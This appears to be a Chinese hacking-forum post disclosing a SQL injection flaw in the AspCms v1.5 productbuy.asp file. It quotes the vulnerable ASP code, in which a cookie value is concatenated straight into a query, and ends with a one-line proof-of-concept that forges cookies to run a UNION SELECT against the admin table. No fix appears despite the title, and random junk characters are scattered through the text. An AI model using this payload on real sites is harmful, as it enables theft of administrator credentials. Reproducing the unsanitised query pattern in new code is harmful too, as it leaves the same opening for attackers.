AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
" @+ F& A7 o: ]1 q# W也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
! s, G/ K$ k& B) X) W) M/ m! r# M废话不多说，看代码：
( O+ H$ }) C) F: i
<%
2 ]/ j+ ?9 ]* b" o( l' R8 V
if action = "buy" then

        addOrder()
6 b; q6 f6 N3 n# k7 z8 H; |7 `' g
" B2 w) L+ U3 s1 Y' s* M# t2 A1 m. Velse
/ [$ k) i3 F* N4 ~6 Y% T$ o  c
        echoContent()
2 V/ B, j/ ^) v) }. C6 l0 ^7 _$ L
1 L6 L& w8 }* j  o8 O: |end if
5 Y# G* G3 A. Q4 Y4 f
% _! I3 w. n9 b8 k: q3 M3 s: F$ `

6 H( {! ?/ X) d3 E! u+ l4 q& Q2 K……略过
# \4 x  s8 x  k) i( A) ~  m  x


! [) w9 w- R0 l! m) ?! x( |/ NSub echoContent()
; X  n/ r, x0 P  ^% {
        dim id

        id=getForm("id","get")
' ]# x' G+ s) u0 f- Q3 Z! o
        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
' f% Y0 d( h5 N% a
        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
* z6 N/ U1 H6 k* f6 x) a
" J1 S# X: P5 u8 G        Dim templatePath,tempStr
1 J" K8 T9 u. Z( h7 z) `
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
  X/ u( k3 Y2 H9 p& _- v


        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

        selectproduct=rsObj(0)
: y% B& l  _4 P0 y! E
0 a# t+ ~. q% Z; ~& V) h        
8 J" I  X: J7 H
& Y7 b& J, G9 Q6 Y' M        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

' C+ S( a4 d% S4 W' p        if rCookie("loginstatus")=1 then  

  T/ V. V! K, l2 u+ Z                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")

                gender=rsObj("gender")
, \, I9 o/ E+ h# N
; [1 c" v( h3 H                phone=rsObj("phone")

/ V" s7 p3 f" i0 o3 R" G% j$ J                mobile=rsObj("mobile")

% `9 s  |/ V7 ~8 X, a                email=rsObj("email")

8 A- p6 ]- o8 M" m  w' _                qq=rsObj("qq")

3 H5 R3 P8 S' _9 s, T                address=rsObj("address")
  n' j/ n" F/ k5 w
                postcode=rsObj("postcode")
- _& }' z  Q; W2 o  K6 d. g
        else
; M, q. A! e0 Z% _4 R6 B) U
                gender=1
: _- k' U7 _6 c8 j  c9 o
        end if
6 S3 N( V( ^" T- p+ c. o
& E" y/ _  K2 c* T3 D8 k        rsObj.close()
7 z+ }( C) P# T0 n  ?1 ^
0 v& E5 M# T& ?5 D; X               

        with templateObj

                .content=loadFile(templatePath)        
1 p" g8 i1 T' Y2 t' D
' A- G% `8 Y4 \' z+ u0 r) W: N                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
$ o! E- Y6 f2 a/ m
. K- ?( ]* H: }                .content=replaceStr(.content,"[aspcms:gender]",gender)               
2 T' s; J, e. @' `/ L
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        

9 ]9 F3 G$ l; }" [                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

8 q4 V9 ?2 v  P* }$ a                .content=replaceStr(.content,"[aspcms:address]",address)                        
& I" t( @. Q7 a6 `5 P9 p
# C' Q# |, C8 N! i6 t                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
3 z8 s3 x& n' L( C5 X
                .parseCommon()                 
: p. j+ R1 ?/ V% D
1 X& J$ v! F* S. n( f, c                echo .content

% C9 t$ ~1 m$ h        end with

        set templateobj =nothing : terminateAllObjects
8 ]/ m2 c, K4 K8 T! B
+ A! |/ f6 ~& _. P9 @End Sub
3 O+ l$ g* y& d% k* T漏洞很明显，没啥好说的
8 l. M' x: T- ?poc：
) q  A+ n- }" h. u3 z
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​